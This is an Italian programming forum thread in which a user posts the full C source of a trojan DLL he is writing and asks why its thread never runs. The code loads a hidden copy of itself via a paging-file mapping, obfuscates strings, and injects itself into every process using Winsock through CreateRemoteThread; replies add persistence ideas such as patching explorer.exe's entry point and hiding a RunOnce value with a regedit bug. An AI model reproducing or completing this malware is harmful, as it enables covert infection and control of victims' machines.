PDA

View Full Version : problema con DLL invisibile


71104
01-09-2005, 14:23
dunque, non so se qualche frequentatore abituale del forum si ricorda del cavallo di troia che sto programmando :D asdasdasd

riassumendo: si tratta di una DLL "invisibile" (uso una tattica speciale che spiego qua sotto per renderla invisibile). qui di seguito riporto quello che per ora è il codice incompleto (non vi azzardate a dire che è incasinato perché è ordinatissimo, è uno dei più ordinati che abbia mai scritto!!!! :D).


#ifndef _DEBUG
#define UNICODE
#endif

//#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <tlhelp32.h>

#define WM_SOCKET (WM_USER+1)

#define TESTFLAG(mask, flag) ((flag) == ((mask) & (flag)))

#ifdef _DEBUG
#define STEALTHENTRYRVA 0x1019
#else
#define STEALTHENTRYRVA 0x13F0
#endif

#ifdef _DEBUG
#define MYNOP
#else
#define MYNOP __asm __emit 0xEB __asm __emit 0x01 __asm __emit 0xEB
#endif

#pragma data_seg(".shared")
/*
* the attributes of this data section are defined in
* the DEF file and are READ, EXECUTE, SHARED and WRITE.
*/

const UINT uConn = 3;

struct _CONN {
char pszTarget[0x100];
BOOL fActive;
SOCKET s;
} pConn[uConn] = {
{"dnstarget1"},
{"dnstarget2"},
{"dnstarget3"}
}; // sorry, ma gli alias DNS li censuro :D

#pragma data_seg()

typedef struct _REMOTEDATA {
HANDLE hExplorer, hFile, hSection;
DWORD dwMapSize;
PVOID pvPrefAddr;
DWORD dwHdrSize;
} REMOTEDATA, *PREMOTEDATA;

#ifdef __cplusplus
extern "C" {
#endif

LPCTSTR Transcode(LPTSTR psz);
PBYTE GetFinalAddr(PBYTE pb);

BOOL FirstLoad(LPCTSTR pszFileName);
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData);
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd);

typedef BOOL (*STEALTHENTRY)(HANDLE, HANDLE, HANDLE, PVOID, BOOL);
__declspec(dllexport) BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr);
DWORD WINAPI ThreadProc(PVOID pParameter);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{
TCHAR pszFileName[0x400];
GetModuleFileName((HMODULE)hinstDLL, pszFileName, 0x3FF);
FirstLoad(pszFileName);
}
break;
}
return TRUE;
}

LPCTSTR Transcode(LPTSTR psz) {
LPTSTR pszCur = psz;
while (*pszCur) {
TCHAR tc = *pszCur;
MYNOP;
tc = tc ^ 0x1BC0;
*pszCur = tc;
pszCur++;
}
return psz;
}

PBYTE GetFinalAddr(PBYTE pb) {
PBYTE pbRes = pb;
while (1) {
if (0xEB == *pb) { // JMP short near relative (2 bytes)
pb = pb + 2 + *(pb + 1);
}
else if (0xE9 == *pb) { // JMP near relative (5 bytes)
pb = pb + 5 + *(PDWORD)(pb + 1);
}
else {
break;
}
}
return pbRes;
}

BOOL FirstLoad(LPCTSTR pszFileName) {
BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;
hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile && (INVALID_HANDLE_VALUE != hFile)) {
hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}
HANDLE hSection = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, dwTotalSize, NULL);
if (hSection && (INVALID_HANDLE_VALUE != hSection)) {
PVOID pvInst = MapViewOfFileEx(hSection, FILE_MAP_WRITE, 0, 0, 0, (PVOID)inth32.OptionalHeader.ImageBase);
if (!pvInst) {
pvInst = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
}
if (pvInst) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, pvInst, dwOffset + sizeof(IMAGE_NT_HEADERS32) + sizeof(IMAGE_SECTION_HEADER) *
inth32.FileHeader.NumberOfSections, &dwDummy, NULL);
PBYTE pbInst = (PBYTE)pvInst;
fSuccess = TRUE;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_SECTION_HEADER pSecHdrs = (PIMAGE_SECTION_HEADER)((PBYTE)pinth32 + sizeof(IMAGE_NT_HEADERS32));
for (UINT u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
SetFilePointer(hFile, pSecHdrs[u].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)(pbInst + pSecHdrs[u].VirtualAddress),
pSecHdrs[u].SizeOfRawData, &dwDummy, NULL);
}
{
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (u = 0; pIDT[u].Characteristics; u++) {
char *pszName = (char*)pbInst + pIDT[u].Name;
if (!lstrcmpiA(pszName, "kernel32") ||
!lstrcmpiA(pszName, "kernel32.dll"))
{
HMODULE hKernel32 = LoadLibrary(TEXT("kernel32.dll"));
PDWORD pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (; *pdwIAT; pdwIAT++) {
if (TESTFLAG(*pdwIAT, IMAGE_ORDINAL_FLAG32)) {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)((*pdwIAT & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)pbInst + (*pdwIAT & ~IMAGE_ORDINAL_FLAG32) + 2);
}
}
break;
}
}
}
for (u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
DWORD dwFlags = pSecHdrs[u].Characteristics, dwProtect;
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_WRITE)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READWRITE;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_READ)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READONLY;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
dwProtect = PAGE_NOACCESS;
}
}
fSuccess &= VirtualProtect((PVOID)(pbInst + pSecHdrs[u].PointerToRawData),
pSecHdrs[u].Misc.VirtualSize, dwProtect, &dwDummy);
}
if (fSuccess) {
STEALTHENTRY se = (STEALTHENTRY)(pbInst + STEALTHENTRYRVA);
if (fSuccess = se(hExplorer, hFile, hSection, pvInst, TRUE)) {
HANDLE hss1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hss1) {
PROCESSENTRY32 pe = {
sizeof(PROCESSENTRY32)
};
if (Process32First(hss1, &pe)) {
do {
if (!pe.th32ProcessID) {
continue;
}
HANDLE hss2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe.th32ProcessID);
if (hss2) {
BOOL fInject = FALSE;
MODULEENTRY32 me = {
sizeof(MODULEENTRY32)
};
if (Module32First(hss2, &me)) {
do {
if (!lstrcmpi(me.szModule, TEXT("ws2_32")) ||
!lstrcmpi(me.szModule, TEXT("ws2_32.dll")))
{
fInject = TRUE;
break;
}
}
while (Module32Next(hss2, &me));
if (fInject) {
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, TRUE, pe.th32ProcessID);
if (hProcess) {
REMOTEDATA rd = {
hExplorer,
hFile,
hSection,
dwTotalSize,
pvInst,
pinth32->OptionalHeader.SizeOfHeaders
};
LoadToProcess(hProcess, &rd);
}
}
}
CloseHandle(hss2);
}
}
while (Process32Next(hss1, &pe));
}
CloseHandle(hss1);
}
}
}
if (!fSuccess) {
UnmapViewOfFile(pvInst);
}
}
if (!fSuccess) {
CloseHandle(hSection);
}
}
if (!fSuccess) {
CloseHandle(hFile);
if (hExplorer && (INVALID_HANDLE_VALUE != hExplorer)) {
CloseHandle(hExplorer);
}
}
}
return fSuccess;
}

DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData) {
PVOID pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, pData->pvPrefAddr);
if (!pvInst) {
pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, NULL);
}
if (pvInst) {
STEALTHENTRY se = (STEALTHENTRY)((PBYTE)pvInst + STEALTHENTRYRVA);
se(pData->hExplorer, pData->hFile, pData->hSection, pvInst, FALSE);
}
return 0;
}

BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd) {
BOOL fSuccess = FALSE;
HANDLE hCurrent = GetCurrentProcess();
DuplicateHandle(hCurrent, prd->hExplorer, hTarget, &prd->hExplorer, 0, TRUE, DUPLICATE_SAME_ACCESS);
if (DuplicateHandle(hCurrent, prd->hFile, hTarget, &prd->hFile, 0, TRUE, DUPLICATE_SAME_ACCESS) &&
DuplicateHandle(hCurrent, prd->hSection, hTarget, &prd->hSection, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
PVOID pCode = VirtualAllocEx(hTarget, NULL, 0x1000, MEM_COMMIT, PAGE_READONLY),
pData = VirtualAllocEx(hTarget, NULL, sizeof(REMOTEDATA), MEM_COMMIT, PAGE_READONLY);
if (pCode && pData) {
DWORD dwDummy;
if (WriteProcessMemory(hTarget, pCode, (PVOID)GetFinalAddr((PBYTE)RemoteThreadProc), 0x1000, &dwDummy)) {
if (WriteProcessMemory(hTarget, pData, (PVOID)prd, sizeof(REMOTEDATA), &dwDummy)) {
if (CreateRemoteThread(hTarget, NULL, 0, (PTHREAD_START_ROUTINE)pCode, pData, 0, &dwDummy)) {
fSuccess = TRUE;
}
}
}
}
if (pCode) {
VirtualFreeEx(hTarget, pCode, 0, MEM_RELEASE);
}
if (pData) {
VirtualFreeEx(hTarget, pData, 0, MEM_RELEASE);
}
}
return fSuccess;
}

BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr) {
BOOL fSuccess = TRUE;
PBYTE pbInst = (PBYTE)pvBaseAddr;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if ((PBYTE)pReloc != pbInst) {
int nRelocDataSize = pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD dwDelta = (DWORD)pbInst - pinth32->OptionalHeader.ImageBase;
while (nRelocDataSize > 0) {
UINT uFixups = (pReloc->SizeOfBlock - 8) / 2;
for (UINT u = 0; fSuccess && (u < uFixups); u++) {
PVOID pv = (PVOID)(pbInst + pReloc->VirtualAddress + (pReloc->TypeOffset[u] & 0x0FFF));
DWORD dwType = pReloc->TypeOffset[u] >> 12;
if (IMAGE_REL_BASED_ABSOLUTE != dwType) {
if (IMAGE_REL_BASED_HIGH == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
}
else if (IMAGE_REL_BASED_LOW == dwType) {
*(PWORD)pv += LOWORD(dwDelta);
}
else if (IMAGE_REL_BASED_HIGHLOW == dwType) {
*(PDWORD)pv += dwDelta;
}
else if (IMAGE_REL_BASED_HIGHADJ == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
*((PWORD)pv + 1) = LOWORD(dwDelta);
}
else {
#ifdef _DEBUG
__asm int 3
#endif
fSuccess = FALSE;
}
}
}
if (!fSuccess) {
break;
}
nRelocDataSize -= pReloc->SizeOfBlock;
pReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pReloc + pReloc->SizeOfBlock);
}
}
if (fSuccess) {
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (UINT u = 0; pIDT[u].Characteristics; u++) {
HMODULE hModule = (HMODULE)LoadLibraryA((char*)pbInst + pIDT[u].Name);
if (!hModule) {
fSuccess = FALSE;
break;
}
PDWORD pdwILT = (PDWORD)(pbInst + pIDT[u].OriginalFirstThunk),
pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (UINT v = 0; fSuccess && pdwILT[v]; v++) {
PVOID pv;
if (TESTFLAG(pdwILT[v], IMAGE_ORDINAL_FLAG32)) {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)((pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)pbInst + (pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) + 2);
}
if (pv) {
if (pdwIAT[v] == (DWORD)pv) {
break;
}
else {
pdwIAT[v] = (DWORD)pv;
}
}
else {
fSuccess = FALSE;
}
}
}
}
if (fSuccess) {
DWORD dwDummy;
if (!CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)ThreadProc, NULL, 0, &dwDummy)) {
fSuccess = FALSE;
}
}
return fSuccess;
}

DWORD WINAPI ThreadProc(PVOID pParameter) {
// we're done! :-)
MessageBox(NULL, TEXT("MHUWAHUWAHUWAHUWAHWUAHAU!!! xD"), NULL, MB_ICONWARNING);
return 0;
}

#ifdef __cplusplus
}
#endif


breve spiegazione: la DLL contiene le seguenti funzioni:
- FirstLoad: effettua il primo caricamento in "stealth mode"
- RemoteThreadProc: thread entry per processi esterni (lo uso per iniettare codice in altri processi, tecnica banale e conosciutissima)
- LoadToProcess: duplica la copia locale della DLL in un altro processo
- asdasdasd: questo è il mio entry point speciale: si chiama con un nome insignificante perché l'ho dovuto esportare
- ThreadProc: generico entry point per nuovi thread

più alcune funzioni di "utilità" per così dire:
- Transcode: quando il lavoro sarà finito, codificherò tutte le stringhe presenti nella DLL e userò questa routine per transcodificarli prima e dopo l'uso; in questo modo non saranno leggibili in chiaro
- GetFinalAddr: restituisce l'indirizzo a cui è effettivamente presente una funzione che viene chiamata tramite un certo indirizzo noto passato come parametro a GetFinalAddr

in pratica il funzionamento si svolge come segue: ammettendo che la DLL venga caricata normalmente una sola volta, essa in risposta a DLL_PROCESS_ATTACH chiama FirstLoad; FirstLoad apre il file della DLL stessa, crea un oggetto file mapping nel file di paging, ci scrive il contenuto del file, prima tutti gli headers e poi le sezioni una per una, e binda una parte degli import (per l'esattezza quelli provenienti da kernel32.dll); in questo modo è stata creata nel processo locale la copia invisibile, e per finire l'opera viene chiamato l'entry point asdasdasd nella copia invisibile; a questo punto l'entry point riloca tutta la DLL e finisce di bindarla.

piccola nota: se qualche frequentatore abituale del forum ha letto un mio vecchio thread in cui parlavo di un certo sistema di protezione anti API hooking, sappia che lo applicherò tra breve a questa DLL: per ora ho bindato la DLL normalmente, ma quando avrò risolto il problema che ho modificherò il codice e al posto degli indirizzo effettivi nella IAT ci metterò l'indirizzo di un piccolo stub che impedirà il monitoraggio delle funzioni importate.

ora veniamo al problema: lo scopo finale di asdasdasd è quello di creare il thread; ebbene: lo crea ma non parte e non so perché... :mc: :mc: :muro: :muro:

la CreateThread ritorna nonzero (l'identificatore del nuovo thread, verificato con Spy++), ma il codice di ThreadProc non viene mai eseguito :cry:

sempre stando a quanto dice Spy++, il nuovo thread è in stato di wait, motivazione: "User Request" qualcuno sa cosa vuol dire? ^^

piccolo aiutino plz... :help:

RaouL_BennetH
01-09-2005, 14:52
Ed eccomi anche qui!! :sofico:

Non so se può avere a che fare o ti possa interessare,ma hai letto nella sezione news di quello strano bug che afflige il regedit con chiavi di registro che superano i 254 caratteri?

fek
01-09-2005, 14:58
BOOL FirstLoad(LPCTSTR pszFileName) {
....

:eek:

Spezza questa funzione in almeno dieci parti! Ora!

Totalmente OT.
Tu lo sai che sto cercando qualcosa che calcolare la complessita' ciclomatica in Java e pubblica i report e se un metodo ha complessita' superiore a 5 o 7 te lo faccio riscrivere? :D

Quel FirstLoad sara' a occhio attorno a 20/30!

71104
01-09-2005, 15:00
Ed eccomi anche qui!! :sofico:

Non so se può avere a che fare o ti possa interessare,ma hai letto nella sezione news di quello strano bug che afflige il regedit con chiavi di registro che superano i 254 caratteri? giusto...!! hai ragione, potrei usarlo per inserire un bel valore "invisibile" in RunOnce per avviare un programmetto che provvede all'installazione del troiano...

mi hai suggerito un bell'exploit, ciò però non risolve il problema discusso nel thread ^^'

PS: le utilities Win32, specie quelle vecchie, sono letteralmente piene di bug del genere, la solita vecchia abitudine del

TCHAR pszBuffer[0x100];

quindi anche se non ero a conoscenza di questo errore specifico lo posso ben immaginare, analogamente a tante altre app :p

71104
01-09-2005, 15:03
BOOL FirstLoad(LPCTSTR pszFileName) {
....

:eek:

Spezza questa funzione in almeno dieci parti! Ora! esagerato, te ne concedo al massimo 2 :O

Totalmente OT.
Tu lo sai che sto cercando qualcosa che calcolare la complessita' ciclomatica in Java e pubblica i report e se un metodo ha complessita' superiore a 5 o 7 te lo faccio riscrivere? :D sono curioso di vedere che viene fuori :D
edit: btw, se necessario scriverò così anche in Java per il game 2D che faremo :D
è il mio modo, ormai sono fatto così :D
in qualsiasi linguaggio scrivo, tendo ad avvicinarmi a quella roba là ;)

Quel FirstLoad sara' a occhio attorno a 20/30! non capisco come mai dovrebbe essere valutata così complessa... è scritta in maniera completamente lineare e sequenziale, va passo passo, una cosa alla volta... io là ci leggo benissimo, basta andare con ordine ;)
e poi dico, l'hai visto quant'è lungo invece il codice dell'entry point segreto? :D
asdasdasd (è proprio il caso di dirlo... :rotfl: :asd: )

fantoibed
01-09-2005, 15:07
Tutto ciò mi fa' ricordare la backdoor di Devil... :)
Per farla partire utilizzi la shell extension?

71104
01-09-2005, 15:13
Tutto ciò mi fa' ricordare la backdoor di Devil... :)
Per farla partire utilizzi la shell extension? non è ancora ben definito il modo in cui quell'affare partirà all'avvio del PC, ma sarà probabilmente una di queste due ipotesi:
a) la routine di installazione modifica termina explorer.exe e lo modifica aggiungendo un link alla mia DLL
b) questa è meglio ancora: la routine di installazione termina explorer.exe, analizza la sezione .text, cerca un buco (probabilmente ne trova uno enorme di padding finale) in cui scrive il codice per una chiamata a LoadLibrary per caricare la mia DLL seguita da un JMP all'entrypoint dell'eseguibile; l'indirizzo del vero entry point dell'eseguibile memorizzato negli headers viene cambiato con l'indirizzo del mio codice.

quindi niente shell extensions... :)

fek
01-09-2005, 15:14
sono curioso di vedere che viene fuori :D
edit: btw, se necessario scriverò così anche in Java per il game 2D che faremo :D
è il mio modo, ormai sono fatto così :D
in qualsiasi linguaggio scrivo, tendo ad avvicinarmi a quella roba là ;)


Guarda che non sto scherzando :)
Se un metodo supera quel numero, non entra nel code base, se riesco scrivo uno script che controlli a quale check in si riferisce e faccia il roll back automaticamente.
Altrimenti lo faccio a mano, e se lo faccio a mano significa che ci devo perdere tempo e significa che mi arrabbio di piu' col trasgressore!


non capisco come mai dovrebbe essere valutata così complessa... è scritta in maniera completamente lineare e sequenziale, va passo passo, una cosa alla volta... io là ci leggo benissimo, basta andare con ordine ;)

La complessita' ciclomatica valuta quanti code path sono presenti in un metodo. Spannometricamente puoi calcolarla contando come 1 ogni if/for/case /throw. E' uno strumento molto utile perche' ho letto vari report che collegano direttamente la densita' di difetti per riga di codice e la complessita' di un metodo. Piu' il metodo e' complesso piu' e' probabile che ci sia un bug, quindi prima semplificalo e poi vedrai che scopri perche' CreateThread non va ;)

fantoibed
01-09-2005, 15:21
quindi niente shell extensions... :)
Peccato, nessuno va a guardare là, però la dll verrebbe caricata non all'avvio ma quando si preme il tasto destro della pantegana da qualche parte...

Sennò ci sono i classici:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

...e amici! :p

71104
01-09-2005, 15:30
Guarda che non sto scherzando :)
Se un metodo supera quel numero, non entra nel code base, se riesco scrivo uno script che controlli a quale check in si riferisce e faccia il roll back automaticamente.
Altrimenti lo faccio a mano, e se lo faccio a mano significa che ci devo perdere tempo e significa che mi arrabbio di piu' col trasgressore! urgh O.o' ^^'
inorridiresti nello spulciarti la directory "Visual C++" nei miei documenti e le sue sottodir... :D
ma probabilmente anche la directory "NetBeans" ^^'
ma a parte questo, se devo abiturami a programmare in altra maniera è un problema: io non scrivo mai in funzioni a parte codice che userò una volta sola... nel caso di adesso, la FirstLoad viene eseguita una sola volta, e per l'80% del suo codice non riesco a concepire una maniera di dividerlo, perché non avrebbe senso... come le dovrei chiamare queste funzioni, FirstLoad1, FirstLoad2? mi confonderebbe, anche perché non potrei più analizzare tutto il codice in una volta sola.


La complessita' ciclomatica valuta quanti code path sono presenti in un metodo. Spannometricamente puoi calcolarla contando come 1 ogni if/for/case /throw. E' uno strumento molto utile perche' ho letto vari report che collegano direttamente la densita' di difetti per riga di codice e la complessita' di un metodo. Piu' il metodo e' complesso piu' e' probabile che ci sia un bug, quindi prima semplificalo e poi vedrai che scopri perche' CreateThread non va ;) a dire il vero dubito fortemente che sia lì, e qui scommetto che pur di sostenere la tua tesi tirerai fuori la quintessenza di Murphy :D
anche se fosse lì si tratterebbe quasi certamente di un errore a livello concettuale al quale non posso rimediare semplicemente suddividendo il codice (ammettendo di poterlo dividere in parti concettualmente sensate); si tratterà di un errore al quale non avrei potuto rimediare immediatamente nella stesura iniziale del codice perché non l'avrei potuto immaginare; questo significherebbe un grosso punto a tuo favore: non so se ricordi quando dicevo che è possibile scrivere codice senza errori... ebbene qui l'errore c'è, senza contare che non avrei potuto prevederlo.

MA

potrebbe anche trattarsi di qualcosa di molto più banale, qualche piccola dimenticanza che non vedo solamente a causa della terribile insonnia di cui ho sofferto stanotte (vero purtroppo :() o di altre innumerevoli distrazioni che mi sono frullate per la testa qualche settimana fa quando ho scritto il grosso di quel codice... in tal caso continuerei a sostenere la mia tesi (è possibile scrivere codice senza errori a meno di grosse banalità che si possono risolvere con un debugger; questo è un caso a parte perché ti ci voglio io a debuggare una DLL invisibile :D)

PS: io cmq il bug lo cercherei piuttosto nell'entry point segreto, "asdasdasd"; e ricordo che comunque il thread c'è, solo che è in stato di wait per non si sa cosa :mbe:

71104
01-09-2005, 15:35
Sennò ci sono i classici:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

...e amici! :p
a seconda dell'exploit che troverò a tempo debito è possibile che non siano nemmeno necessarie, e anche se lo fossero c'è sempre il bacarozzo appena suggeritomi da RaouL_BennetH :D
e poi non sarebbe nemmeno necessario Run, basterebbe RunOnce ;)

fek
01-09-2005, 15:38
urgh O.o' ^^'
inorridiresti nello spulciarti la directory "Visual C++" nei miei documenti e le sue sottodir... :D
ma probabilmente anche la directory "NetBeans" ^^'
ma a parte questo, se devo abiturami a programmare in altra maniera è un problema: io non scrivo mai in funzioni a parte codice che userò una volta sola... nel caso di adesso, la FirstLoad viene eseguita una sola volta, e per l'80% del suo codice non riesco a concepire una maniera di dividerlo, perché non avrebbe senso... come le dovrei chiamare queste funzioni, FirstLoad1, FirstLoad2? mi confonderebbe, anche perché non potrei più analizzare tutto il codice in una volta sola.


Le dovresti chiamare per quello che fanno, come se stessi commentando il codice. Gia' solo a guardare il codice velocemente ho visto almeno cinque o sei metodi con nomi perfettamente logici che commenterebbero meglio quello che stai cercando di fare. Ha sempre senso dividere un metodo lungo in parti diverse, non ho mai visto in 15 anni un caso in cui non avesse senso.
E' una mentalita' importante nella quale entrare, e se devi cambiare mentalita' per il nostro progetto, cosi' sara', perche' queste regole saranno piuttosto draconiane: metodi oltre le 15 righe di codice e 5/7 di complessita' non entrano nella code base e potete piangere anche in aramaico antico :D

Ma comunque ne parleremo a tempo debito perche' qui e' OT... torniamo al tuo problema...


a dire il vero dubito fortemente che sia lì, e qui scommetto che pur di sostenere la tua tesi tirerai fuori la quintessenza di Murphy :D

... non ho la piu' pallida idea di dove sia il bug e sai perche'? Perche' quella funzione e' davvero complessa da leggere, la logica non e' chiara a qualcuno che non l'ha scritta, il flusso anche, l'indentazione e le spaziature non aiutano. E questo sicuramente nasconde il bug, o meglio ancora, nasconde all'occhio le informazioni che ti portano a trovare il bug.

fek
01-09-2005, 15:46
Vediamo, vediamo un po':


BOOL FirstLoad(LPCTSTR pszFileName) {

BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;

hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

/// -----

hFile = OpenFileToXXXX(pszFileName); /// XXX e' quello che devi fare

/// ----


if (hFile && (INVALID_HANDLE_VALUE != hFile)) {

/// ----
if (FileHasBeenOpened(hFile))
{
/// ----

hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

/// ----
HANDLE hExplorer = CreateHandleToExplorer();
/// ----


// --- Da qui in poi mi sono perso :)

SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}

// --- A occhio sembra che tu stia leggendo tutto il file per poi eseguirlo

ReadFileInMemory(hFile, /* credo che avrai bisogno di farti restituire la lunghezza per dopo */);

// --- etc etc etc


Tirato a caso in 5 minuti per rendere l'idea di come si prende un mostro e lo si fa a pezzi... :)

Una volta ho dovuto lavorare su un metodo di 1500 righe di codice che disegnava il cielo di BW2... Ho impiegato tre giorni per ridurlo a piu' miti consigli, pero' alla fine ho potuto implementare quello che mi serviva.

VICIUS
01-09-2005, 15:49
Questa volta un bel coding-horror non te lo toglie nessuno :asd:
http://www.pigaz.org/immagini/icone/codinghorror.png

ciao ;)

71104
01-09-2005, 15:51
... non ho la piu' pallida idea di dove sia il bug e sai perche'? Perche' quella funzione e' davvero complessa da leggere, la logica non e' chiara a qualcuno che non l'ha scritta, il flusso anche, l'indentazione e le spaziature non aiutano. COOOOSA?!??! l'indentazione e le spaziature sono certosinamente PERFETTE!!! sono un perfezionista da questo punto di vista, fai copia-incolla nel Visual Studio e vedrai che selezionando tutto e premendo Alt+F8 non cambierà una sola virgola di indentazione tranne una cosa che secondo me è meglio come la faccio io, cioè l'inizializzazione della struttura REMOTEDATA (si trova sempre in FirstLoad, nella parte finale, cioè quella che usa le Toolhelp per enumerare i processi e iniettare la DLL in quelli che usano i sockets di Windows).

comunque: potrei anche rivedermi la FirstLoad e suddividerla come dici tu, ma avrebbe poco senso imho: i nomi sarebbero lunghi un kilometro l'uno e sarebbero troppo specifici, tipo "BindJustAPartOfImportSection" :D
senza contare che andando avanti col lavoro diventerebbe "BindOnlyKernel32UsingStubs", da non confondere con "BindOnlyKernel32WithoutStubs" e "FullBindWithStubs"... tutte funzioni da usare una volta sola :mbe:
e poi alla fine probabilmente mi verrà anche voglia di ottimizzare il tutto fino all'osso rimuovendo il CRT del Visual Studio e un po' di altra roba; togliere il CRT e lasciarci 10 chiamate superflue mi sembra un po' insensato...

fek
01-09-2005, 16:01
COOOOSA?!??! l'indentazione e le spaziature sono certosinamente PERFETTE!!! sono un perfezionista da questo punto di vista, fai copia-incolla nel Visual Studio e vedrai che selezionando tutto e premendo Alt+F8 non cambierà una sola virgola di indentazione tranne una cosa che secondo me è meglio come la faccio io, cioè l'inizializzazione della struttura REMOTEDATA (si trova sempre in FirstLoad, nella parte finale, cioè quella che usa le Toolhelp per enumerare i processi e iniettare la DLL in quelli che usano i sockets di Windows).

Qualche interlinea l'aiuterebbe :D


